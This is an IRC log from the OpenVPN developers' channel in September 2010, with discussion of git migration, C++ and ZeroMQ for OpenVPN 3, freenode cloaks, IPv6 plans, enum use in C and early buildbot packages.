-!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 18:23 -!- Irssi: #openvpn-devel: Total of 13 nicks [7 ops, 0 halfops, 0 voices, 6 normal] 18:24 -!- Irssi: Join to #openvpn-devel was synced in 39 secs 18:25 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:25 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 22:27 -!- d12fk [~heiko@vpn.astaro.de] has quit [Ping timeout: 265 seconds] --- Day changed Sat Sep 18 2010 01:29 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:05 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 02:35 <@mattock> forums and community migration seems to have gone well, both are up and working great! 02:36 <@mattock> thanks go to openvpn2009 :) 03:33 -!- d12fk [~heiko@88.130.218.16] has joined #openvpn-devel 03:34 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:40 -!- d12fk [~heiko@88.130.218.16] has quit [Quit: Konversation terminated!] 05:15 -!- openvpn2009 [patel@vortex.openvpn.net] has quit [Quit: ircN 8.00 for mIRC (20100904) - www.ircN.org] 06:19 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 07:10 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 08:09 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 08:31 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 09:05 -!- d12fk [~heiko@88.130.218.16] has joined #openvpn-devel 09:48 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 09:48 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:13 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 14:07 -!- openvpn2009 [patel@vortex.openvpn.net] has joined #openvpn-devel 14:07 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 14:42 -!- openvpn2009 [patel@vortex.openvpn.net] has quit [Ping timeout: 252 seconds] 14:55 -!- openvpn2009 [patel@vortex.openvpn.net] has joined #openvpn-devel 14:56 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 17:04 -!- d12fk [~heiko@88.130.218.16] has quit [Ping timeout: 265 seconds] 21:15 -!- d12fk [~heiko@88.130.200.204] has joined #openvpn-devel 21:19 -!- mode/#openvpn-devel [+o d12fk] by ChanServ --- Day changed Sun Sep 19 2010 00:51 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:54 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:20 -!- d12fk [~heiko@88.130.200.204] has quit [Ping timeout: 276 seconds] 05:57 -!- dazo_h [~dazo@2001:470:9d83:0:213:e8ff:feb8:527f] has joined #openvpn-devel 05:57 -!- mode/#openvpn-devel [+o dazo_h] by ChanServ --- Log closed Sun Sep 19 09:08:18 2010 --- Log opened Sun Sep 19 09:54:36 2010 09:54 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 09:54 -!- Irssi: #openvpn-devel: Total of 14 nicks [6 ops, 0 halfops, 0 voices, 8 normal] 09:55 -!- Irssi: Join to #openvpn-devel was synced in 39 secs 09:57 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:25 -!- d12fk [~heiko@88.130.200.204] has joined #openvpn-devel 11:56 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:56 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:01 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 12:17 <@dazo_h> jamesyonan: hi! Just a quick question for you if you have time 12:17 <@jamesyonan> sure 12:18 <@dazo_h> jamesyonan: I'm thinking about when we will move completely over to git ... 12:18 <@dazo_h> When do you think you will be ready for that? 12:18 <@jamesyonan> I do want to do it, but I'm swamped as usual. 12:19 <@dazo_h> I am in the thinking phase now for recreating a new git tree when we release 2.2, sometime in the future .... will you be ready to completely switch over around that time? 12:19 <@jamesyonan> yes, I think so 12:20 <@dazo_h> perfect ... I hope, if we get enough feedback and testing on the beta and RC, that we would have a release before the end of this year ... I think that is doable, as the 2.2 code is not that much different as the 2.0->2.1 was 12:21 <@jamesyonan> right 12:21 <@jamesyonan> incidentally, do you develop much in c++? 12:21 <@dazo_h> No, I'm more a purist C developer :) 12:22 <@dazo_h> (even though, I've done some C++, but I that's years ago) 12:23 <@jamesyonan> I've been looking at boost::asio as a possible i/o framework for openvpn 3 12:24 <@dazo_h> aha ... well, boost has good thing, but also some tricky things as well ... I know boost a bit from Apache Qpid (been doing QA for some time earlier on that product for Red Hat) 12:25 <@jamesyonan> anything in particular that you don't like about c++ or boost? 12:25 <@dazo_h> I've been looking at 0mq (zero-mq) ... and was wondering if that would be a good thing for the internal message bus for openvpn 3 as well ... 12:27 <@dazo_h> Well, C++ is easy to crap up with a lot of nasty hacks, as it is more forgiving to a lot of things .... and my personal taste for streams is not scoring high, I find it a bit ugly .... but then, I'm more a low-level person by nature 12:27 <@dazo_h> I want to know what is really happening and why ... I feel I loose a bit control of that in C++ .... but that's also because I've done C most of my life 12:29 <@dazo_h> (with streams, you basically just dump whatever object/variable to the stream ... and the object/stream itself takes care of the types and conversion ... I don't like this implicit automatic-ism) 12:30 * dazo_h is probably more a brainwashed C code ;-) 12:31 <@dazo_h> just a side track - zeromq - http://www.zeromq.org/ 12:31 < vpnHelper> Title: Fastest. Messaging. Ever. - zeromq (at www.zeromq.org) 12:31 <@dazo_h> (and it can do in-memory communication, as well as over sockets) 12:33 <@jamesyonan> yeah, I'm reading about zeromq, trying to figure out how it's different from other async i/o frameworks 12:33 <@dazo_h> http://www.zeromq.org/tutorials:butterfly/noredirect/true 12:33 < vpnHelper> Title: Butterfly example - zeromq (at www.zeromq.org) 12:34 <@dazo_h> I was actually thinking of zmq internally, between the different modules ... we need an internal message bus, so I thought zmq might be able to fill that gap, without us needing to reinvent the wheel ... and the tests I've done, is pretty impressive in regards to speed 12:35 <@jamesyonan> c++ is such an odd language. It's interesting the way they've tried to combine low level c, polymorphism, and generic programming 12:35 <@dazo_h> not sure if this is useful between client-server ... but maybe it would be suitable for that as well ... 12:35 <@dazo_h> yeah, you put it very well there ... that's actually what I feel about C++ 12:36 <@jamesyonan> I'm trying to get a handle on how much the generic programming aspects (i.e. templates) impact performance and bloat. 12:36 <@jamesyonan> so far c++ seems extremely fast, on par with C, even when using boost 12:39 <@dazo_h> Having worked quite some of the upstream developers of Qpid ... I know they've been struggling with locating bugs in their code, due to the extreme use of templates and boost ... but they also do a lot of threading in addition, so it's not been too easy to track what's happening ... but maybe I'm just to worried, the qpid project has gotten critics of being over-engineered, also due to the complexity of the AMQP protocol it supports 12:39 <@jamesyonan> I've never seen a language before that is so complex that you spend more time debugging compiler error messages than actual code. 12:40 <@dazo_h> C++ done right, I believe is really on par to C ... but you need to do it right, that's the tricky thing ... in a language which is not clearly defined, to be overly hard to C++ 12:40 <@dazo_h> heh :) 12:47 * krzee looks at ecrist's spoof 12:52 <@jamesyonan> I'm looking at the guide to 0mq. I still don't get how this is different from any other async framework like Twisted or boost::asio? 12:54 <@dazo_h> I must say, I don't know Twisted at all, and boost::asio only by reputation ... and I think 0mq is doing much of the same stuff, just the API being different ... but 0mq is more message oriented and not byte oriented 12:55 <@dazo_h> 0mq can also be used to send one message to more recipients, while boost::asio is more one-to-one communication oriented (of course, it can handle more processing threads and so on) 12:56 <@dazo_h> With 0mq, you define queues which producers push their data to ... and then you have consumers which subscribes to different queues 12:58 <@dazo_h> and then you have different queue types, like traditional fifo/lifo queues, or more advanced queues like topic queues - where receivers subscribes to queues relevant to their work 12:58 <@dazo_h> I don't recall all queue types 0mq supports, but there are at least 2-3 different types 12:59 * dazo_h easily mixes them with qpid 12:59 <@dazo_h> jamesyonan: this one gives more details on how the queues work ... http://nichol.as/zeromq-an-introduction 12:59 < vpnHelper> Title: Nicholas Piël » ZeroMQ an introduction (at nichol.as) 13:00 <@jamesyonan> does the abstraction elegantly support protocol layering, like can I easily encapsulate a message layer in SSL or DLTS? 13:00 <@dazo_h> jamesyonan: good question ... I don't know 13:02 <@dazo_h> I don't think 0mq supports SSL out-of-the-box now .... but it is possible to write a consumer which pulls messages off the designated queue, throws the data through an SSL layer and out to a socket .... and the opposite way of course, with a producer thread 13:02 <@dazo_h> http://lists.zeromq.org/pipermail/zeromq-dev/2010-April/003255.html 13:02 < vpnHelper> Title: [zeromq-dev] TLS (at lists.zeromq.org) 13:02 <@dazo_h> that one probably answers it 13:07 <@jamesyonan> for me, the true mark of power in an asynchronous framework is when it can deal elegantly with layering. For example it would be cool in the message passing examples if you could enable an SSL layer with a few lines of code. 13:08 <@jamesyonan> Twisted can do it, but Twisted is Python-based and probably would have trouble keeping up with C or C++ performance. 13:09 <@dazo_h> yeah, agreed ... for client-server communication, I'm not sure 0mq is a perfect match, due to lack of built-in SSL support and also no UDP support ... but for inter-process communication, I think 0mq can fill the communication gap between the different modules we will have 13:10 <@dazo_h> unless, we get involved in 0mq development and write that code of course ... 13:10 <@dazo_h> http://mnb.ociweb.com/mnb/MiddlewareNewsBrief-201004.html 13:10 < vpnHelper> Title: Object Computing, Inc. - Middleware News Brief - June, 2010 (at mnb.ociweb.com) 13:11 <@dazo_h> (comparing 0mq, OpenDDS and boost::asio as a baseline) 13:25 <@jamesyonan> dazo_h: great article 13:25 <@dazo_h> yeah, it gave ørlob 13:25 <@dazo_h> probably some answers :) 13:26 <@dazo_h> 0mq mailing lists weren't too happy about some of the ways the comparisons where done ... especially features which 0mq don't support and needed third party libraries to do serialisation, which of course colours the performance 13:27 <@dazo_h> but after all, its not that bad 13:29 <@jamesyonan> yeah, the benchmarks look like they're stressing the serialization capabilities as much as the i/o 13:32 <@dazo_h> yup 14:12 -!- d303k [~heiko@vpn.astaro.de] has joined #openvpn-devel 14:12 -!- mode/#openvpn-devel [+o d303k] by ChanServ 14:12 -!- d12fk [~heiko@88.130.200.204] has quit [Ping timeout: 276 seconds] 14:47 < ecrist> dazo_h: did you see we got the group membership in, finally? 14:48 < ecrist> if you want a cloak, just ask a staffer, you'd get /openvpn/community/developer/dazo 14:48 <@dazo_h> ecrist: no, I haven't seen that .... but ... yay!! \o/ 14:48 <@dazo_h> ecrist: by staffer ... you mean on #freenode? 14:48 < ecrist> yeah 14:48 * dazo_h will do that :) 14:48 < ecrist> point them my way if they need a confirmation 14:49 <@dazo_h> will do! :) 14:49 < ecrist> cron2 / d303k: same goes for either of you. 14:50 < ecrist> openvpn corp folks will get /openvpn/corp/*/nick 14:50 < ecrist> where * can be developer, support, or any other suitable title. 15:00 <@cron2> re 15:00 <@cron2> *read backlog* 15:02 -!- dazo_afk [~dazo@nat/redhat/x-durkvshrnuzhhtvn] has quit [Changing host] 15:02 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:02 -!- ServerMode/#openvpn-devel [+o dazo_afk] by jordan.freenode.net 15:02 -!- dazo_h [~dazo@2001:470:9d83:0:213:e8ff:feb8:527f] has quit [Changing host] 15:02 -!- dazo_h [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:02 -!- ServerMode/#openvpn-devel [+o dazo_h] by lindbohm.freenode.net 15:03 * cron2 doesn't like C++ as a programmer (it's weird) and neither Boost (on a freshly installed system, installing Boost takes *ages*, it's so damn huge and C++ compiles so slowly) 15:03 -!- krzee [~k@unaffiliated/krzee] has quit [Changing host] 15:03 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:06 * ecrist just realized cloaks will simply channel access lists. 15:06 <@cron2> ecrist: what is this "cloak" thing? 15:06 < ecrist> see krzee just now, changing host/ 15:06 < ecrist> ? 15:06 < ecrist> ~k@unaffiliated/krzee is his old cloak 15:06 < ecrist> now, he shows up as ~k@openvpn/community/support/krzee 15:06 <@dazo_h> cron2: compare the whois on dazo_afk and dazo_h 15:07 < ecrist> dazo_h: they match 15:07 <@cron2> mmmh, indeed. So how do I use that? 15:08 < ecrist> if you want one, I get give you one 15:08 < ecrist> s/get/give/ 15:08 <@cron2> I wouldn't mind /developer/cron2 :-) 15:08 < ecrist> it allows you to show your affiliation 15:08 < ecrist> I only have access to openvpn/ 15:09 <@cron2> well, yes, openvon/community/developer/cron2, of course 15:15 < ecrist> sure' 15:17 < ecrist> cron2: marinez should be PM'ing you to confirm the cloak 15:19 <@cron2> PM received and ACKed 15:19 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 15:19 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:19 -!- ServerMode/#openvpn-devel [+o cron2] by kornbluth.freenode.net 15:20 <@cron2> so. can I turn this on and off, if needed, or is the cloak something that sticks as soon as I'm identified to nickserv? 15:21 < ecrist> sticks as soon as you identify 15:21 <@dazo_h> cron2: you've sold your soul now ;-) 15:22 < ecrist> muahahaha 15:24 <@cron2> aha :-) - well, then, I just go to bed now! 15:24 <@cron2> g'night folks 15:25 < ecrist> g'night 15:32 * ecrist puts brat to bed, does something more useful with his time 15:49 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 15:55 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 16:13 -!- dazo_h [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] 16:18 -!- d303k [~heiko@vpn.astaro.de] has quit [Ping timeout: 264 seconds] 16:40 -!- krzee [~k@openvpn/community/support/krzee] has left #openvpn-devel [] 16:40 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:55 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 20:14 -!- d303k [~heiko@88.130.219.197] has joined #openvpn-devel 20:14 -!- mode/#openvpn-devel [+o d303k] by ChanServ 21:47 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 21:47 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Mon Sep 20 2010 01:02 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 01:28 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:45 -!- dazo_afk is now known as dazo 01:47 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:50 <@mattock> /TOPIC #ballista "Greek and Roman artillery Wiki: http://ballista.wikia.com" 01:50 <@mattock> oops 01:50 <@mattock> :D 01:51 <@cron2> so that's what you're doing when you're not here... :-) 01:51 <@mattock> yep, I got busted 01:51 <@mattock> is this one of those Freudians things? 01:54 <@dazo> that's a nasty way how to announce other channels by "mistake" :-P 01:56 <@mattock> yeah, and I noticed that I was not even the channel operator... so all this embarrasment for nothing :P 01:56 <@dazo> haha :) 01:56 <@mattock> anyways, welcome to my alter ego, people 01:57 <@mattock> in a nutshell: making of historical projectile weapons 01:59 <@dazo> mattock: btw ... did you see Alon's mail ... re: windows build failure (patch which we need to get reviewed) 01:59 <@mattock> yep, I saw that 01:59 <@dazo> not sure who's best to review that one .... d303k/d457k maybe? 02:00 <@dazo> or james 02:07 <@mattock> James probably, although I'll have to take a closer look at the patch 02:14 <@mattock> dazo: I'll respond to your first mail to Alon - I think your suggestions make sense 02:14 <@mattock> we should probably discuss this with James (in the meeting or otherwise) 02:15 <@dazo> cool, thx! Yeah, it is my suggestions, but I think beginning to think about splitting out things into real independent units is a reasonable approach 02:15 <@dazo> I don't like the current situation where we need to increase the OpenVPN version number because something gets screwed up which is not related to the OpenVPN binary itself 02:29 <@mattock> yep, there are only a few dependencies between these components/modules... if they can be built independently, there's no reason _not_ to split them into separate projects 02:29 <@mattock> btw. any clues why gmane archive is outdated: http://blog.gmane.org/gmane.network.openvpn.devel 02:29 < vpnHelper> Title: OpenVPN developers list (at blog.gmane.org) 02:29 <@mattock> last post from 17th Sep 02:56 -!- d303k [~heiko@88.130.219.197] has quit [Ping timeout: 276 seconds] 03:43 -!- d457k is now known as d12fk 03:44 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:45 * d12fk so like totally need to setup a bouncer, this mess with my nicks concerns me... =) 03:45 <@d12fk> morning, btw 03:56 <@mattock> good morning 04:02 -!- raidz [~Andrew@seance.openvpn.org] has quit [Read error: Connection reset by peer] 04:02 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 05:12 <@dazo> d12fk: I can recommend znc 05:13 <@d12fk> dazo: yeah, that's the one I'll use. Take a look at code of the SASL auth module. =) 08:01 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 08:14 < ecrist> mattock, good morning 08:14 <@mattock> good morning ecrist 08:14 < ecrist> we can offer cloaks for hostnames, now, for you staff folks 08:15 < ecrist> run a /whois on my nick here, and you'll see what I mean. 08:16 < ecrist> d12fk: link your nicks in nickserv 08:16 * ecrist afk 08:18 <@mattock> ecrist: what cloak would you suggest for me or for OpenVPN staff in general? 08:20 <@mattock> ~username@openvpn/staff//username perhaps? 08:30 <@d12fk> ecrist: I did but the 457 one expired because it hardly ever used 09:46 < ecrist> mattock: openvpn/corp//mattock 09:46 <@cron2> openvpn/corp/ballistics/mattock 09:47 <@dazo> lol 09:53 <@dazo> cron2: while I see you're here ... did the mail regarding you forking out a separate 2.1 branch for your IPv6 patches make sense to you? 09:53 <@cron2> no 09:53 <@cron2> (well, I understood what I need to do to achieve that, but I strongly prefer to work on code instead of spending more time on branching and merging and cherrypicking) 09:54 <@cron2> let's see whether jjo's new git setup is sufficient to ease your merging pains :-) - and if not, I'll rebase to bugfix2.1 09:56 <@dazo> yeah, that I can understand. It's the issue of needing to backport stuff where it usually ends up, when you need to follow two development heads ... and allmerged, 2.2 and the 2.1 releases are all different development heads 09:57 <@dazo> I'll try to solve the issues with JJO in the evening ... what he said really makes sense though ... when he was even based on something completely else than what we're using, then we easily end up in this mess 09:57 <@cron2> sure. trade-off between "working with the repository" and "creating patches relative to a certain released tarball" 09:58 <@cron2> as long as there are no conflicts between my stuff and the "bugfix2.1" changes (which hasn't happed yet) it's not that bad anyway 09:59 <@dazo> true, and more than fair enough! I'm not pushing you in any direction unless something really breaks 10:31 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 11:02 <@cron2> mattock: I just stumbled across it again... what came out of your attemts to get v6 for community.openvpn.net? 11:30 -!- dazo is now known as dazo_afk 11:35 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 11:44 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:25 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 12:42 <@mattock> cron2: I think we have an IPv6 address for community (and forums)... but both VMs were migrated to another host. raidz/openvpn2009 know the current status better than I 12:43 <@mattock> ecrist: corp as in "corporate drones" :D 13:42 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:42 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:45 -!- d303k [~heiko@88.130.219.197] has joined #openvpn-devel 13:45 -!- mode/#openvpn-devel [+o d303k] by ChanServ 13:46 < ecrist> indeed! 14:04 -!- openvpn2009 [patel@vortex.openvpn.net] has quit [Changing host] 14:04 -!- openvpn2009 [patel@openvpn/corp/admin/patel] has joined #openvpn-devel 14:04 -!- ServerMode/#openvpn-devel [+o openvpn2009] by anthony.freenode.net 14:09 * krzee whois's himself just to see how cool his new cloak looks 14:13 -!- DarkFly [~DarkFly@ip-109-42-246-80.web.vodafone.de] has joined #openvpn-devel 14:13 < DarkFly> hi 14:13 < ecrist> hello 14:14 < DarkFly> Question: Is it possible to use the OpenVPN-client with some public server(s) (if existing) to get IPv6-support? 14:14 < DarkFly> I tried different tunnel broker clients, but it seems they don't like my router/NAT 14:14 < DarkFly> :P 14:14 < krzee> you say "openvpn-client" 14:15 < DarkFly> isn't there a client? :x 14:15 < krzee> oh wait this is -devel 14:15 < krzee> ask non dev questions in ##openvpn please 14:15 < DarkFly> :o 14:16 -!- openvpn2009 is now known as patel 14:16 -!- patel [patel@openvpn/corp/admin/patel] has left #openvpn-devel [] 14:17 -!- patelx [patel@openvpn/corp/admin/patel] has joined #openvpn-devel 14:17 -!- mode/#openvpn-devel [+o patelx] by ChanServ 14:22 -!- d303k [~heiko@88.130.219.197] has quit [Read error: Operation timed out] 14:22 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:48 -!- DarkFly [~DarkFly@ip-109-42-246-80.web.vodafone.de] has quit [Quit: Leaving] 14:50 < ecrist> 14:06 <RichiH> fyi, you now owe me a compile-time option that allows a run-time option to whitelist expired certificates ;) 14:50 < ecrist> lol 14:50 < ecrist> though, it sounds like it could be a nice feature. 14:51 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 276 seconds] 14:57 -!- Irssi: #openvpn-devel: Total of 14 nicks [6 ops, 0 halfops, 0 voices, 8 normal] 15:00 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 15:00 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:00 -!- ServerMode/#openvpn-devel [+o raidz] by asimov.freenode.net 15:02 -!- d303k [~heiko@88.130.219.197] has joined #openvpn-devel 15:02 -!- mode/#openvpn-devel [+o d303k] by ChanServ 15:47 -!- patelx [patel@openvpn/corp/admin/patel] has quit [Ping timeout: 245 seconds] 15:51 -!- patelx [patel@vortex.openvpn.net] has joined #openvpn-devel 15:51 -!- mode/#openvpn-devel [+o patelx] by ChanServ 16:20 -!- patelx [patel@vortex.openvpn.net] has quit [Changing host] 16:20 -!- patelx [patel@openvpn/corp/admin/patel] has joined #openvpn-devel 16:20 -!- ServerMode/#openvpn-devel [+o patelx] by pratchett.freenode.net 18:30 -!- d303k [~heiko@88.130.219.197] has quit [Ping timeout: 240 seconds] 18:30 -!- d303k [~heiko@88.130.219.197] has joined #openvpn-devel 18:30 -!- mode/#openvpn-devel [+o d303k] by ChanServ 19:18 -!- d457k [~heiko@88.130.205.227] has joined #openvpn-devel 19:22 -!- d303k [~heiko@88.130.219.197] has quit [Ping timeout: 276 seconds] 21:54 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 252 seconds] 21:55 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 22:24 -!- mode/#openvpn-devel [+o d457k] by ChanServ 22:34 -!- d457k [~heiko@88.130.205.227] has quit [Ping timeout: 272 seconds] --- Day changed Tue Sep 21 2010 00:39 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 00:39 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 00:39 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 01:14 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 02:04 <@cron2> raidz: so - what mattock said :-) - what's the state of things with IPv6 on "forums" and "community"? 03:18 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 03:58 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:58 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:22 -!- dazo_afk is now known as dazo 04:23 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:26 <@dazo> ecrist: heh ... quite a request you got there! But I'm not sure that would be possible, due to the implementation of OpenSSL ... 04:48 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 06:18 < ecrist> dazo: I imagine openssl would be the limiting factor, not that's it's technically wrong to have a limit in that case. 06:44 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 08:53 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Remote host closed the connection] 08:54 -!- krzy [krzee@hemp.ircpimps.org] has joined #openvpn-devel 08:56 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 08:56 -!- krzy [krzee@hemp.ircpimps.org] has quit [Client Quit] 08:56 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 08:57 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 10:06 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:10 <@dazo> krzee: ecrist: I have an idea for vpnHelper .... !tell <nick> <command> .... f.ex. !tell krzie welcome .... and vpnHelper will then instead of replying to the requester, it will aim it at <nick> 10:11 < ecrist> it does that... 10:11 <@dazo> does it? 10:12 <@dazo> ahh ... well, it just gives that PM thingy .... 10:13 < ecrist> PM thingy? 10:13 < ecrist> !say [!logs] 10:13 < vpnHelper> ecrist: Error: "!logs" is not a valid command. 10:16 <@dazo> !say [logs] 10:16 < vpnHelper> dazo: Error: "say" is not a valid command. 10:20 < ecrist> !tell dazo [!logs] 10:20 < vpnHelper> ecrist: Error: "!logs" is not a valid command. 10:20 < ecrist> fuck you, vpnHelper 10:20 <@cron2> not a valid command 10:21 <@dazo> cron2: you mean: not understood command 10:21 <@cron2> not authorized :-) 10:21 <@dazo> lol 10:26 < ecrist> vpnHelper's probably too tired 10:26 < ecrist> lol 10:27 < ecrist> or has a headache 10:27 <@dazo> ecrist: now you make me worried, wondering what you're doing in your spare time ....... 10:27 < ecrist> heh 10:52 <@mattock> ok guys, first batch of buildbot-generated Debian/Ubuntu packages are out: http://build.openvpn.net/downloads/ 10:52 < vpnHelper> Title: Index of /downloads (at build.openvpn.net) 10:53 <@mattock> I can give no guarantees that they work 10:53 <@mattock> =haven't tested them at all 10:56 <@dazo> mattock: deb 5 == sid? 11:17 -!- helmut [helmut@subdivi.de] has joined #openvpn-devel 11:18 < helmut> hi. is there some document for getting started with the source? like call graphs or similar? (socket.c) 11:18 <@raidz> cron2: we have the vapability, we will try and add ipv6 soon 11:18 <@raidz> *capability 11:19 < helmut> yeah! ipv6. that's for me too. :-) 11:20 <@dazo> helmut: no, not really ... it's not too much docs there, unfortunately 11:21 < helmut> uhm. I just noticed a few "should-be-enum" constructs. is there a compiler openvpn needs to support not providing enums or another reasons not to use them? 11:22 <@dazo> We need to support Microsoft crap (Visual Studio thingy), mingw compiler and GNU C .... and probably whatever Solaris uses 11:23 <@dazo> but enum is used some places already ... so please feel free to send some clean-up patches on stuff you mean should be better 11:23 < helmut> hmm. afaik they do with with the microsoft crap. they definitely work with gnu. dunno about solaris, but enums are ansi... 11:24 <@dazo> ANSI stuff should be safe, IMO 11:24 < helmut> dazo: git grep --cached -l '\<enum\>' ----> tap-win32/i386/OemWin2k.inf.in # no they are not used in any other places. 11:25 <@dazo> huh? ... hmmm I was sure I had seen that there .... I stand corrected 11:25 <@dazo> cron2: do you see any reasons why to not use enum in OpenVPN? 11:26 <@dazo> helmut: please send a mail to the -devel ML and ask about it ... And we'll try to bring it up on Thursdays meeting as well ... enum is quite useful in fact 11:26 < helmut> dazo: yeah. becaue it gives the compiler more things to check. 11:33 < helmut> ok. I got what I need to get started. not doing this today. 12:13 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 12:34 -!- dazo is now known as dazo_afk 12:48 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:48 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:02 <@mattock> debian 5 is lenny, or current stable 13:02 <@mattock> not squeeze, the new stable which is frozen, though 14:32 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 272 seconds] 14:57 <@cron2> raidz: cool! 14:59 <@cron2> dazo, helmut: I've been using enum in mgetty since 1993, and it compiles on about everything that has a C compiler, even crappy K&R only stuff like SunOS 4 CC :-) - so unless it breaks something on *windows* (which I don't really expect), it seems to be a matter of taste 14:59 <@cron2> some folks like enum, others like #define FOO 1 #define BAR 2 style 15:16 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Quit: Leaving] 15:28 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:46 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:46 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:32 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Quit: Leaving] 17:33 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:33 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:11 -!- helmut [helmut@subdivi.de] has quit [Remote host closed the connection] 19:11 -!- helmut [helmut@subdivi.de] has joined #openvpn-devel --- Day changed Wed Sep 22 2010 01:13 -!- mattock 